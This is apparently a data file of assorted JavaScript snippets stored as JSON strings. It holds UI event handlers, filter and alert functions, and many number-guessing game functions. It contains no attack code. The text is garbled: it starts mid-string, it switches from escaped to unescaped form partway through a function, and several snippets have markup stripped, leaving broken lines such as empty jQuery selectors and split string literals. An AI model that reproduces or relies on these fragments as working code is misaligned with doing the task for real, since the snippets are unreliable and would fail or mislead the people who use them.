\\\"new\\\");\\n }\",\n \"function load() {\\n if(vm.document._id !== -1) {\\n backendService.getDocumentById(vm.document._id).success(function(data) {\\n\\n // got the data - preset the selection\\n vm.document.title = data.title;\\n vm.document.fileName = data.fileName;\\n vm.document.amount = data.amount;\\n vm.document.senders = data.senders;\\n vm.document.tags = data.tags;\\n vm.document.modified = data.modified;\\n vm.document.created = data.created;\\n\\n vm.selectedSenders = data.senders;\\n vm.selectedTags = data.tags;\\n\\n })\\n .error( function(data, status, headers) {\\n\\n if(status === 403) {\\n $rootScope.$emit('::authError::');\\n return;\\n }\\n\\n alert('Error: ' + data + '\\\\nHTTP-Status: ' + status);\\n return $location.path('/');\\n\\n\\n });\\n } else {\\n vm.selectedSenders = [];\\n vm.selectedTags = [];\\n }\\n\\n }\",\n \"initExtras() {\\n this._extraService.getExtra().subscribe(response => {\\n this.extras = response.extra;\\n if (response.extra.length <= 0) {\\n this.fatalError = true;\\n this.loading = false;\\n this.launchAlert('info', 'Sin Datos de RMUV', 'Al parecer no existen datos de la Remuneracion Unificada Vigente, por favor, Ingresarlos antes de continuar', 'Ingresar Ahora!!', true, null, null, null, null, null);\\n // alert('no existen los datos de RMUV... por favor ingresarlos antes de continuar con los registros de consumo');\\n }\\n else if (response.extra.length >= 1) {\\n this.fatalError = false;\\n this.loading = false;\\n }\\n }, error => {\\n this.loading = false;\\n console.log(error);\\n this.errorCatched.description = error.toString();\\n this.errorCatched.table = 'Extra';\\n this.errorCatched.action = 'getExtras';\\n this.errorCatched.title = 'Error en la Obtencion de Los datos Extras';\\n this.errorCatched.zone = 'addRegister';\\n this.errorCatched.code = this.errorCatched.zone + '-' + this.errorCatched.action + '-' + this.errorCatched.table;\\n this.errorCatcherService.saveError(this.errorCatched).subscribe(response => {\\n this.launchAlert('error', 'Error en la Carga', 'Se ha producido un error a la hora de cargar los datos de la RMUV' + response.Message, 'Ir a la Ventana de Errores de Sistema? ', true, null, null, null, null, null);\\n });\\n });\\n }\",\n \"function initEventListener() {\\n $scope.$on(vm.controllerId + '.data.filter', function (e, v) {\\n vm.data.searchString = v;\\n });\\n $scope.$on(vm.controllerId + '.action.refresh', function (event, data) {\\n getPage(_tableState);\\n });\\n $scope.$on(vm.controllerId + '.action.reload', function (e, v) {\\n reload();\\n });\\n $scope.$on(vm.controllerId + '.action.F2', function (e, v) {\\n console.log(checkQuyenUI('N'));\\n if (checkQuyenUI('N')) {\\n window.location.href = linkUrl + 'create';\\n }\\n });\\n }\",\n \"handlesClick(){\\n \\n const selectedFieldsValueParam = this.selectedFieldsValue;\\n const showComp = this.showScreen;\\n this.hideObjectScreen=false;\\n const isHideObjectScreen= this.hideObjectScreen;\\n \\n //console.log('Hi' +showComp);\\n // console.log('selectedFieldsValueParam=='+this.selectedFieldsValue);\\n // console.log('selectedFieldsValueParam= '+selectedFieldsValueParam);\\n\\n //show error if no rows have been selected\\n if(selectedFieldsValueParam ===null || selectedFieldsValueParam===''){\\n const evt = new ShowToastEvent({\\n title: this._title,\\n message: this.message,\\n variant: this.variant,\\n });\\n this.dispatchEvent(evt);\\n }\\n else {\\n //propage event to next component\\n const evtCustomEvent = new CustomEvent('retreive', {\\n detail: { selectedFieldsValueParam,showComp,isHideObjectScreen}\\n });\\n this.dispatchEvent(evtCustomEvent);\\n }\\n }\",\n \"onTriggerClick() {\\n const me = this;\\n\\n if (me.pickerVisible) {\\n me.hidePicker();\\n } else {\\n if (!me.readOnly && !me.disabled) {\\n switch (me.triggerAction) {\\n case this.constructor.queryAll:\\n me.doFilter(null);\\n break;\\n\\n case comboQueryLast:\\n me.doFilter(me.lastQuery);\\n break;\\n\\n default:\\n me.doFilter(me.input.value);\\n }\\n }\\n }\\n }\",\n \"click(){\\r\\n if ( !this.isDisabled && !this.readnly ){\\r\\n this.getRef('input').focus();\\r\\n if ( this.filteredData.length ){\\r\\n this.isOpened = !this.isOpened;\\r\\n }\\r\\n }\\r\\n }\",\n \"function filterHandler() {\\n\\n // Available checkbox\\n $('#Check0').change(function(){\\n filter.available = this.checked;\\n genericLoad();\\n })\\n\\n // price range filter\\n $('#confirm-filter').click(function() {\\n var min = $('#min-filter').val();\\n var max = $('#max-filter').val();\\n\\n if(($.isNumeric(min) || $.isNumeric(max)) && (min >= 0 && max >= 0)) {\\n filter.minPrice = $.isNumeric(min)? min : filter.minPrice;\\n filter.maxPrice = $.isNumeric(max)? max : filter.maxPrice;\\n genericLoad();\\n }\\n else \\n showNotificationBar(\\\"Per favore, inserisci dei valori positivi\\\");\\n });\\n\\n // reset button\\n $('#reset-filter').click(function() {\\n\\n filter.minPrice = 0;\\n filter.maxPrice = Number.MAX_VALUE;\\n genericLoad();\\n\\n });\\n\\n // review filter\\n $(\\\"input[name='filter']\\\").change(function() {\\n\\n filter.starRating = $(this).val();\\n genericLoad();\\n\\n });\\n\\n}\",\n \"function onSelect(event) {\\r\\n refresh(JSON.parse(event.data));\\r\\n}\",\n \"function filterListener(){\\n $(\\\"#colorFilter\\\").change(function(){\\n populateBikeList();\\n });\\n $(\\\"#statusFilter\\\").change(function(){\\n populateBikeList();\\n });\\n }\",\n \"function bindExistingAlerts() {\\n\\t\\t\\tvar allAlertsCloseBtns$ = jContainer.find(\\\".container-ASWidgetAlert .close\\\");\\n\\t\\t\\tallAlertsCloseBtns$.unbind(\\\"click\\\").on(\\\"click\\\", function(event) {\\n\\t\\t\\t\\t$(event.currentTarget).parents(\\\".container-ASWidgetAlert\\\").first().remove();\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t});\\n\\t\\t}\",\n \"function makeAlerts(){\\n// put event listener for each selected tag\\n var myp = document.querySelectorAll(\\\"#a2 p\\\");\\n for(var i=0; i < myp.length; i++){//loop for the length of the myp array\\n myp[i].addEventListener(\\\"click\\\",showNewAlert);//add a listener for every object in the arry\\n }\\n}\",\n \"function onReportDiagnosticPopupSeeAllBtnClick() {\\r\\n seeAllClicked = true;\\r\\n tau.closePopup();\\r\\n }\",\n \"function alerts (io) {\\n\\tio.of('/alert').on('connection', (USA) => {\\n\\t\\tconsole.log(`United States ready to recieve alerts at ${USA.id}`);\\n\\n\\t\\talertEvent.on('alert', () => {\\n\\t\\t\\tfor (const msg of usaAlerts) {\\n\\t\\t\\t\\tUSA.emit('alert', msg);\\n\\t\\t\\t}\\n\\t\\t\\tusaAlerts = [];\\n\\t\\t});\\n\\n\\t\\tUSA.on('disconnect', () => console.log(`USA disconnected ${USA.id}`));\\n\\t});\\n}\",\n \"constructor() {\\n this.display = document.getElementById('displayRow'); //getting the tbody of our table\\n this.notify = document.getElementById('notification'); //getting the div tag above table to show alerts\\n }\",\n \"function callOnholdRes(d,s) {\\n d = d.data;\\n $(\\\"#onhold-open-popup .onholdres\\\").html(d.content_detail);\\n $('#onhold-open-popup').modal('show');\\n $('#onhold-open-popup button.btn').addClass('inactive');\\n setTimeout(function() {\\n modifyDropDown({selectorClass:'#onhold-open-popup .onholdres #onholdsection',searchAny:true,placeholder:'Search Reason'});\\n },0);\\n hideFullLoader('content_loader');\\n //Added dropDown on change event\\n $('#onhold-open-popup #onholdsection').on('change', function(){\\n if($(this).children('option:selected').val() === 'Please select a reason:'){\\n $('#onhold-open-popup button.btn').addClass('inactive');\\n } else {\\n $('#onhold-open-popup button.btn').removeClass('inactive');\\n }\\n });\\n }\",\n \"handleLookupSelect(event) { \\n this.selectedName = event.detail.Family; \\n this.showoptions=false;\\n \\n }\",\n \"function handleSupp(ev) {\\n console.log(contacts.filter((_) => _.id !== ev.detail.id ));\\n setContacts(contacts.filter((_) => _.id !== ev.detail.id ));\\n }\",\n \"function loadOffers() { // ohne alerts funktionierts nicht =( ... wieso??\\n\\t// reset selectedID (account could have been deleted in meantime)\\n\\t// selectedOffer = null;\\n\\tconnect(\\\"/hiwi/Provider/js/loadOffers\\\", \\\"\\\", handleLoadOffersResponse);\\n}\",\n \"ngOnInit() {\\r\\n //this._auctionListService.getAuctionItems().subscribe(\\r\\n //data => this.auctionItems = data FOR FILTERING \\r\\n //)\\r\\n this.getAuctionItems();\\r\\n }\",\n \"function loadSuccess(ev) {\\n if (ev) {\\n removeAllEventsFromDisplay();\\n cosmo.view.cal.itemRegistry = ev;\\n }\\n cosmo.view.cal.itemRegistry.each(appendLozenge);\\n // Update the view\\n updateEventsDisplay();\\n }\",\n \"function getCategory(e) {\\n filter(e.target.value); //filter function send which button we click\\n if(e.target.value == \\\"all\\\"){\\n bringFoods(); // bringFoods run when we click \\\"all button\\\" & form loaded\\n }\\n\\n}\",\n \"function showEnsFilters() {\\t\\r\\n\\r\\n}\",\n \"function buttonClick(){\\n // Prevent the page from refreshing\\n d3.event.preventDefault();\\n // Create & display new table with filtered/searched data\\n var filtered_table = tableData.filter(ufo_sighting => ufo_sighting.datetime===dateInputText.property(\\\"value\\\"))\\n displayData(filtered_table);\\n}\",\n \"function showGrowerList(e) {\\n viewModel.set(\\\"selectedUserId\\\", e.view.params.userId);\\n initList();\\n }\",\n \"onTriggerClick() {\\n const me = this;\\n\\n if (me.pickerVisible) {\\n me.hidePicker();\\n } else {\\n if (!me.readOnly && !me.disabled) {\\n switch (me.triggerAction) {\\n case comboQueryAll:\\n me.doFilter(null);\\n break;\\n case comboQueryLast:\\n me.doFilter(me.lastQuery);\\n break;\\n default:\\n me.doFilter(me.input.value);\\n }\\n }\\n }\\n }\",\n \"function alerts() {\\n $(\\\"span.top-label.label.label-warning\\\").text(todoItemsData.length);\\n $('.dropdown-alerts').empty();\\n $.each(todoItemsData, (idx, item) => {\\n let i = $('');\\n let span = $('').text( daysLeft(item.date) + ' days left');\\n let div = $('').append(i).append(item.title).append(span);\\n let a = $('')\\n .click( () => {\\n $('.card[data-todoid=\\\"' + item.item_id + '\\\"] .edit-btn').click();\\n })\\n .append(div);\\n let li = $('').append(a);\\n let divider = $('');\\n $(\\\"ul.dropdown-menu.dropdown-alerts\\\").append(li).append(divider);\\n });\\n}\",\n \"function setFilterDisplayObj() {\\n var postArray = ['categoryFilter', 'statusFilter', 'substatusFilter', 'typeFilter', 'subTypeFilter', 'venueFilter', 'lawtypeFilter'];\\n var valKey = ['category', 'statuses', 'substatus', 'type', 'subtypes', 'venues', 'law-types'];\\n var filterObj = {};\\n _.each(postArray, function (val, index) {\\n //get array of current valkey item from masterlist\\n if (val == 'substatusFilter') {\\n var array = extractSubStatus();\\n } else if (val == 'subTypeFilter') {\\n var array = extractSubTypes();\\n } else {\\n var array = angular.copy(self.viewModel.masterList[valKey[index]]);\\n }\\n\\n var appliedFilters = [];\\n //iterate over current selected filters\\n\\n var filterString = self.viewModel.filters[val].toString();\\n _.forEach(filterString.split(','), function (id) {\\n if (utils.isEmptyString(id)) { return; } //if filter id is all/stalled push as is\\n if (id === \\\"all\\\") {\\n appliedFilters.push(id);\\n } else if (id === \\\"stalled\\\") {\\n appliedFilters.push('');\\n } else {\\n // find object from array having the current id\\n var appliedFilter = _.find(array, function (item) {\\n return item.id === id;\\n });\\n\\n if (utils.isEmptyVal(appliedFilter.name)) {\\n appliedFilter.name = \\\"{Blank}\\\";\\n }\\n appliedFilters.push(appliedFilter.name);\\n }\\n });\\n //set the filter obj\\n // filterObj ={name:
Scorching!!!
\")\n\t\t}\n\t\t//check errors\n\t\telse if (playersGuess > 100) {\n\t\t\t$(\".text\").append (\"Remember between 1 - 100!
\")\n\t\t}\n\t\telse if (isNaN(playersGuess)) {\n\t\t\t$(\".text\").append (\"Not a number
\")\n\t\t}\n\t\t//check and update\n\t\telse {\n\t\t\t$(\".thermometer\").html (\"\"+playersGuess+\"°\")\n\t\t\tWarmerOrColder(); \n\t\t}\n\t}","function randomizer () {\n // convert the users number to an integer\n userGuess = document.getElementById('input').value\n userGuess = parseInt(userGuess)\n\n // generate random number between 1 and 6\n randomNumber = (Math.random() * 6) + 1\n randomNumber = parseInt(randomNumber)\n // compare users guess to random numbers\n if (userGuess === randomNumber) {\n document.getElementById('answer').innerHTML = 'you win!'\n }\n}","function guessNumber() {\n console.log(\"our random number ==\" + randomNumber);\n let guess=parseFloat(inputValue.value);\n if(guess === \"\" || guess <= 0 || guess > 100 || isNaN(guess)){\n msg[0].innerHTML =\"Please enter a number between 1 and 100\";\n } \n else{\n tryChances();\n if(guess > randomNumber){\n msg[0].innerHTML =\"Number is too high\";\n }\n else if(guess < randomNumber){\n msg[0].innerHTML =\"Number is too low\";\n }\n else if(guess === randomNumber) {\n msg[0].innerHTML =\"You win\";\n btnGuess.disabled=true;\n return;\n }\n }\n}","function guessNumber()\r\n{\t\r\n\r\n\r\n\tlet userInputInt = document.getElementById(\"userGuess\").value; //grabbing the input from the user and making it a number so it doesn't come out with NaN\r\n\t\r\n\t if (userInputInt == randomNumber)\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"YOU GOT IT!!\" //making an if statement that prints out the user got it if the input matches the random number\r\n\t\tdocument.getElementById(\"check\").disabled=true; //disabling the check button when the user gets it correct so it forces them to restart if they decide to\r\n\t}\r\n\r\n\telse if (userInputInt > randomNumber) //else if statement that shows if the input is greater than the random number\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"LOWER!!\"\r\n\t\r\n\t\tnumberOfGuesses-- //everytime the user guesses wrong the number of guesses decrease by 1\r\n\t\tdocument.getElementById(\"numberOfGuesses\").innerHTML = \"Number of Guesses: \" + numberOfGuesses; //changing the number of guesses displayed\r\n\t}\r\n\t\r\n\telse\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"HIGHER!!\"\r\n\t\tnumberOfGuesses-- \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//if the input number is lower the output displays a statement that tells the user to guess higher\r\n\t\tdocument.getElementById(\"numberOfGuesses\").innerHTML = \"Number of Guesses: \" + numberOfGuesses;\r\n\t}\r\n\r\n\t////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\r\n\tif (numberOfGuesses == 0)\r\n\t{\r\n\t\tdocument.getElementById(\"check\").disabled=true; //disabling the button after the user runs out of guesses\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"Out of Guesses..\";\r\n\t\tsetTimeout(numGuessSleep, 1000);\t\t\t\t\t\t\t\t\t\t\r\n\t\t\r\n\r\n\t}\r\n\r\n\t//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\n\tif (userInputInt > 19) //if the user inputs a number greater than the greatest random number it will throw an alert and tell you cant type over 19 and it restarts\r\n\t{\r\n\t\talert(\"You can't type any number over 19\");\r\n\t\trestartGame();\r\n\t}\r\n\r\n\telse if (userInputInt == \"\") //if the user types no input it will display a sentence\r\n\t{\r\n\t\tdocument.getElementById(\"outPut\").innerHTML = \"Type something..\";\r\n\t\tnumberOfGuesses = 5; //without this the number of guesses will decrease \r\n\t\tdocument.getElementById(\"numberOfGuesses\").innerHTML = \"Number of Guesses: \" + numberOfGuesses;\r\n\r\n\t}\r\n\r\n\telse if (userInputInt < MIN) //if the user inputs a number less than the lowest possible number it also throws an alert and tells you cant type beow 1 and it restarts\r\n\t{\r\n\t\talert(\"You can't type any number below 1.\");\r\n\t\trestartGame(); //running the restart game function\r\n\t}\r\n\r\n\r\n}","function guessing_game(guess) {\n var num = Math.ceil(Math.random() * 10);\n\n if (guess == num)\n alert('Good Work');\n else\n alert('Not matched, the number was ' + num);\n}","function guessNumber() {\n let userNumber = parseInt(userInput.value);\n let text = \"\";\n\n if (userNumber > randomNumber && userNumber <= 100) {\n text = \"demasiado alto\";\n } else if (userNumber < randomNumber) {\n text = \"demasiado bajo\";\n } else if (userNumber === randomNumber) {\n text = \"has ganado campeona\";\n } else if (userNumber > 100 || userNumber === 0) {\n text = \"el número debe estar entre 1 y 100\";\n }\n\n counter();\n showFeedback(text);\n}","function checkGuess(){\n \n // Increase the guess counter by 1\n counterGuess++;\n \n // get value from the input element\n var guessedNum = $numberInput.val();\n console.log(guessedNum);\n \n // test if value entered is valid\n var numIsValid = validateGuess(guessedNum, $messageOutput);\n \n // Check Guess against random number\n if(numIsValid === true){\n\tif(guessedNum > ranNum){\n\t\t$messageOutput.text('To high, try a lower number');\n\t}else if(guessedNum < ranNum){\n\t\t$messageOutput.text('To low, try a higher number');\t\n\t}else{\n\t\tendGame(counterGuess);\t\t\n\t}\n } \n\n} // end checkGuess function","function guessing_game(guess) {\n // Get a random integer from 1 to 10 inclusive\n var x=Math.ceil(10*Math.random());\n if(x==guess)\n console.log(\"Good Work!\");\n else\n console.log(\"Not Matched!Value is \"+x);\n return x;\n \n}","function checkguess() { \n\n// USER GUESS TAKEN FROM TEXT BOX, CONVERTED FROM A STRING AND STORED TO VAR\nvar userguess = parseInt(document.getElementById(\"input1\").value);\n\t\n// IF THE GUESS IS BIGGER \n\tif (userguess > randomnum) {\n\t\n//COUNT CLICKS VARIABLE CALLED ON AND ADDS +1 \n\t\t countClicks++;\n// RESULT \n result = \"Your guess of \" + userguess + \" is higher than the magic number.You have had \" + countClicks + \" guesses so far.\";\n\t\t \n } \n\t\telse if (userguess < randomnum) {\n\t\t\t countClicks++;\n result =\"Your guess of \" + userguess + \" is lower than the magic number.
You have had \" + countClicks + \" guesses so far.\";\n\t\t \n } \n\t\telse {\n\t\t\tcountClicks++;\n result = \"Success, You win! You took \" + countClicks + \" guesses.\";\n\t\t\t\n } \n// SENDS THE RESULT TO THE DOM\n\t document.getElementById(\"result\").innerHTML = result;\n\t\n} //END OF FUNCTION - dont delete!","function userGuess(){\n var input = parseInt($(\"#userGuess\").val());\n var feedback = [\"Congrats you won! Click New Game to start another game\", \"Please enter a number\", \"Pick a number btw 1-100\", \"Very Hot\", \"Hot\", \"Warm\", \"Cold\", \"Very Cold\", \"Cold as Vanilla Ice's career\"]\n if (input == random) {\n updateFeedback(feedback[0]);\n } else if (input >= 101 || input == 0) {\n $(\"#userGuess\").val(\"\");\n $(\"#count\").text(--i);\n updateFeedback(feedback[2]);\n } else if (random - 5 <= input && input <= random + 5) {\n updateFeedback(feedback[3]);\n } else if (random - 10 <= input && input <= random + 10) {\n updateFeedback(feedback[4]); \n } else if (random - 15 <= input && input <= random + 15) {\n updateFeedback(feedback[5]);\n } else if (random - 25 <= input && input <= random + 25) {\n updateFeedback(feedback[6]);\n } else if (random - 30 <= input && input <= random + 30) {\n updateFeedback(feedback[7]);\n } else if (isNaN(input)) {\n updateFeedback(feedback[1]);\n $(\"#userGuess\").val(\"\");\n $(\"#count\").text(--i);\n } else {\n updateFeedback(feedback[8]);\n }\n }","function isGuessCorrect(randomNumber, answer) {\n //condition that checks to see if the number of guesses made by the user is still less than the total number of allowed guesses\n if (numberGuessed < numberOfGuessesAllowed) {\n //condition that checks if the guess is lesser than the goal\n if (answer > randomNumber) {\n setTimeout(function () {\n $(\"#guess\").html(`
Guess too high. Guess Again
`);\n }, 1000);\n }//condition that checks if the guess is greater than the goal\n if (answer < randomNumber) {\n setTimeout(function () {\n $(\"#guess\").html(`Guess too low. Guess Again
`);\n }, 1000);\n }//condition that checks if the guess is the same as the goal\n if (answer === randomNumber) {\n //call back function that displays the end game result \n setTimeout(function () {\n $(\"body\").html(`GAME WON!
Number of times guessed : ${numberGuessed}
`);\n }, 1000);\n //callback function that displays the maximum number of guesses the user can make as an animation on screen\n setTimeout(function () {\n $(\"#maxnumberofguesses\").html(`Maximum guesses allowed : ${numberOfGuessesAllowed}
`);\n }, 1000);\n }\n else {\n $(\"body\").html(`\n
\n `);\n $(\"#restartgame\").click(function () {\n location.reload();\n });\n }\n }","function newGame() {\n\tnum = Math.round(Math.random() * 50);\n\tguess.placeholder=\"Make your first guess\";\n\tdocument.getElementById(\"output\").innerHTML=\"You have five attempts to guess my number between 1 and 50\";\n\treset.style.display=\"none\";\n}","function check_guess() {\n \n count_timer();\n \n var guess_from_user = document.getElementById(\"number_guessed\").value; // this grabs the input from the user and stores it in the variable guess_from_user\n \n var output; // the result \n \n number_guesses_left--;\n \n number_of_guesses++;\n \n \n if (isNaN(guess_from_user) || guess_from_user < 1 || guess_from_user > 100)\n { \n output = \"Please enter a valid number\";\n } \n \n if (guess_from_user > random_number && guess_from_user > 0 && guess_from_user < 101)\n { \n output = \"You guessed to high, you have \" + number_guesses_left + \" left.\";\n \n }\n \n if (guess_from_user < random_number && guess_from_user > 0 && guess_from_user < 101)\n { \n output = \"You guessed to low, you have \" + number_guesses_left + \" left\";\n }\n \n if (guess_from_user == random_number) // if the user guesses correctly an alert box will appear\n {\n alert_box(\"Congratulations you guessed the number \" + random_number + \" correctly, it only took you \" + number_of_guesses + \" time(s), would you like to play again?\");\n }\n \n if (number_guesses_left == 0) // if the user does not guess within the amount of tries they lose\n {\n alert_box(\"You lose, the secret number was \" + random_number + \", would you like to play again?\");\n }\n \n \n document.getElementById(\"the_output\").innerHTML = output; // this displays the output based on what the user inputs regarding the loop above \n }","function checkGuess(){\n\t\t// add code here\n\t\tif(playersGuess === winningNumber) {\n\t\t\t$('#domMessage').text('Good catch, YOU WIN!!!!');\n\t\t\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'green'});\n\t\t\t$(\".guess\").hide();\n\t\t\t$(\"#guessmessage\").hide();\n\t\t\t$(\"#Hint\").hide();\n\t\t} \n\n\t\telse if(duplicateCheck(playersGuess)===true) {\n\t\t\t$('#domMessage').text('You already tried this number; input a different one ');\n\t\t\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\n\t\t}\n\n\t\telse if(guessRemaining >=1) {\n\t\t\tguessRemaining--;\n\t\t\tattempts.push(playersGuess);\n\n\t\t\tif(guessRemaining===1) {\n\t\t\t\t$('#domMessage').text('Error. This is your last guess ! ');\n\t\t\t\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\n\t\t\t\tguessMessage();\n\t\t\t} else if(guessRemaining>1){\n\t\t\t\t$('#domMessage').text('You have ' + guessRemaining + ' remaining guesses.');\n\t\t\t\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'black', 'font-family': 'palatino'});\n\t\t\t\tguessMessage();\n\t\t\t}\n\t\t}\n\n\t\telse if(guessRemaining===0) {\n\t\t\t$('#domMessage').text('GAME OVER. Reset if you want to give it another try.');\n\t\t\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'red'});\n\t\t\t$(\".guess\").hide();\n\t\t\t$(\"#guessmessage\").hide();\n\t\t\t$(\"#Hint\").hide();\n\t\t}\n\t}","function decideToGenerate() {\n if (numberOfGuesses === 1) {\n generateNumber();\n }\n}","function usersGuess() {\n // to get the value entered by the user\n var inputGuess = document.getElementById('guessed-field').value;\n // to parse the user input\n var userInput = parseInt(inputGuess);\n // to check if the user input is an integer which is a value above 1 and below 45\n if (isNaN(userInput) || userInput < 1 || userInput > 45) {\n clearValue();\n // to display a text alert if the conditions are not met\n textBlink();\n displayInnerHtml('alert-text', 'Please enter a number between 1 & 45');\n return;\n }\n // to check if the user input is equal to the generated number\n if (generatedNumber === userInput) {\n // message display as animation\n textBlink();\n document.getElementById('background').style.background = \"url('../mind-game/images/youwon_mobile.png')\";\n document.getElementById('end-game').click();\n displayInnerHtml(\n 'popup-text',\n 'CONGRATS!! You guessed it right in try no' + ' ' + (5 - numberOfTry)\n ); \n }\n // to check if the user input is lesser than the generated number\n else if (generatedNumber > userInput) {\n numberOfTry -= 1;\n // to check if the number of guesses is equal to zero\n if (numberOfTry === 0) {\n // message display as animation\n textBlink();\n document.getElementById('end-game').click();\n displayInnerHtml(\n 'popup-text',\n 'The number was' +\n ' ' +\n generatedNumber +\n '.'\n );\n return;\n }\n // to display the number of chances left\n displayInnerHtml(\n 'chance-alert',\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\n );\n displayInnerHtml(\n 'alert-text',\n 'UH OH!!! Enter a value higher than' + ' ' + userInput\n );\n // to return the textinput value to emptyfield\n clearValue();\n \n } else {\n numberOfTry -= 1;\n if (numberOfTry === 0) {\n textBlink();\n displayInnerHtml(\n 'alert-text',\n 'The number was' +\n ' ' +\n generatedNumber +\n '.'\n );\n return;\n }\n displayInnerHtml(\n 'chance-alert',\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\n );\n displayInnerHtml(\n 'alert-text',\n 'UH OH!!! Enter a value lower than' + ' ' + userInput\n );\n // to return the textinput value to emptyfield\n clearValue();\n \n }\n}","function checkNumber() {\n let userGuess = Number(guessField.value);\n //let inputType = typeof userGuess garaas oruulsan utga too esehiig shalganaa\n\n let l1, l2, l3, l4;\n l1 = (userGuess - (userGuess % 1000)) / 1000;\n l2 = ((userGuess % 1000) - (userGuess % 100)) / 100;\n l3 = ((userGuess % 100) - (userGuess % 10)) / 10;\n l4 = userGuess % 10;\n\n let a = 0,\n b = 0;\n if (random_1 == l1) a++;\n if (random_2 == l2) a++;\n if (random_3 == l3) a++;\n if (random_4 == l4) a++;\n\n if (l1 == random_2 || l1 == random_3 || l1 == random_4) b++;\n if (l2 == random_1 || l2 == random_3 || l2 == random_4) b++;\n if (l3 == random_2 || l3 == random_1 || l3 == random_4) b++;\n if (l4 == random_2 || l4 == random_3 || l4 == random_1) b++;\n\n status = document.createElement(\"p\");\n status.setAttribute(\"id\", \"p1\");\n status.textContent =\n l1 +\n \" \" +\n l2 +\n \" \" +\n l3 +\n \" \" +\n l4 +\n \" | a = \" +\n a +\n \" \" +\n \"b = \" +\n b +\n \" \";\n resultDiv.append(status);\n\n guessField.value = \"\";\n guessField.focus();\n\n if (a == 4) {\n game = document.createElement(\"label\");\n game.textContent = \"You won!!!\";\n game.style.backgroundColor = \"green\";\n resultDiv.append(game);\n setGameOver();\n }\n}","function provideHint(){\n\tvar randNum1 = Math.ceil(Math.random() * 100);\n var randNum2 = Math.ceil(Math.random() * 100);\n var hintArray = [randNum1, randNum2, winningNumber].sort(function() { return .5 - Math.random(); });\n $('.hintMessage').text(\"Try one of these: [\" + hintArray.join(', ') + \"]\");\n}","function numberguess() {\n x = Math.floor(Math.random() * 10) + 1; // returns a number between 1 and 10\n userResponse = prompt('Enter a Number between 1 and 10')\n\n if (x === userResponse) {\n alert('You guessed Correct')\n }\n else {\n alert('You guessed Wrong')\n }\n alert('Random Number was ' + x)\n\n}","function getRandomCompared() {\n let userNumber = parseInt(input.value);\n if (randomNumberSelected === userNumber) {\n printResult(result, 'You win!! 🎉');\n } else if (userNumber > 100) {\n printResult(result, 'Can\\'t be bigger than 100');\n } else if (userNumber < 0) {\n printResult(result, 'Can\\'t be smaller than 0');\n } else if (randomNumberSelected < userNumber) {\n printResult(result, 'Too hight 🌡, try again');\n add1Counter();\n } else if (randomNumberSelected > userNumber) {\n printResult(result, 'Too short ☃, try again');\n add1Counter();\n } else {\n printResult(result, 'Please, enter a valid number');\n }\n}","function checkGuess(){\n\tif(playersGuess === winningNumber){\n //$('#result').text(\"winner winner chicken dinner!\");\n return winner();\n }\n else {\n if(guesses.indexOf(playersGuess) === -1){\n guesses.push(playersGuess);\n guessMessage();\n }\n else{\n $('#result').text(\"Be more creative with your choices...\")\n } \n }\n}","function guess(numberGenerated, totalGuess, max) {\n const numberGuessed = readline.question(`Guess the number: `);\n if(numberGuessed < 0 || numberGuessed > max) {\n console.log(`\\nplease guess the number between 0 and ${max}`);\n guess(numberGenerated, totalGuess, max);\n }\n if(numberGenerated == numberGuessed) {\n totalGuess++;\n console.log(`\n Booyah....! You guessed correctly..\n Number generated is : ${numberGenerated}\n Your guess is: ${numberGuessed}\n chances you took : ${totalGuess}\n `);\n process.exit();\n } else {\n console.log(`Oops..! Your guess is wrong..!\\n`);\n totalGuess++;\n guess(numberGenerated, totalGuess, max);\n }\n}","function game(param1, param2) {\n if (param1 - Math.floor(param1) !== 0 || param2 - Math.floor(param2) !== 0)\n return;\n var random = Math.floor(Math.random() * (param2 - param1 + 1) + param1);\n var userAnswer = +prompt(\"Enter number\");\n while (random !== userAnswer) {\n console.log('Try again!');\n userAnswer = +prompt(\"Enter number\");\n }\n console.log('Gratz!');\n}","function guesses() {\n \t\tuserGuess = parseInt($(\"#guess\").val());\n\n\t \tif (userGuess < randomNumber) {\n\t\t\t$(\".message\").text(\"Your guess is too low\");\n\n\t\t} else if (userGuess > randomNumber){\n\t\t\t$(\".message\").text(\"Your guess is too high\");\n\n\t\t} else if (userGuess === randomNumber){\n\t\t\t$(\".message\").text(\"You guessed correctly!\");\n\t\t\t$(\".message\").attr(\"class\", \"success\");\n\t\t} \n\t}","function game() { \n const playerguess = document.getElementById(\"guess\").value;\n\n if (playerguess == luckynumber)\n {alert(\"omg you ARE the lucky winner, treat yourself to a drink in our newly renovated drinkroom!!\");\n }\n else if (playerguess == (luckynumber + 1))\n {alert(\"close, but yet so far!\");\n }\n else if (playerguess == (luckynumber - 1))\n {alert(\"close, but yet so far!\");\n }\n else \n {alert(\"you couldnt be more wrong! Maybe more luck next time\");}\n }","function guessingGame() {\n var guessString = prompt(\"Please guess a number 1 through 5\");\n var guessNum = parseInt(guessString);\n var randomNum = Math.floor(Math.random() * 6);\n while (guessNum != randomNum) {\n if (guessNum < randomNum) {\n guessNum = prompt(\"Nope! Too low! Please guess another number.\");\n }\n else {\n guessNum = prompt(\"Nope! Too high! Please guess another number.\");\n }\n };\n\n alert(\"You're amazing! The number was \" + randomNum);\n }","function againBtn() {\n\n document.querySelector('.guess').value = '';\n \n number = Math.trunc(Math.random() * 20 ) + 1; \n\n score = 20; \n\n 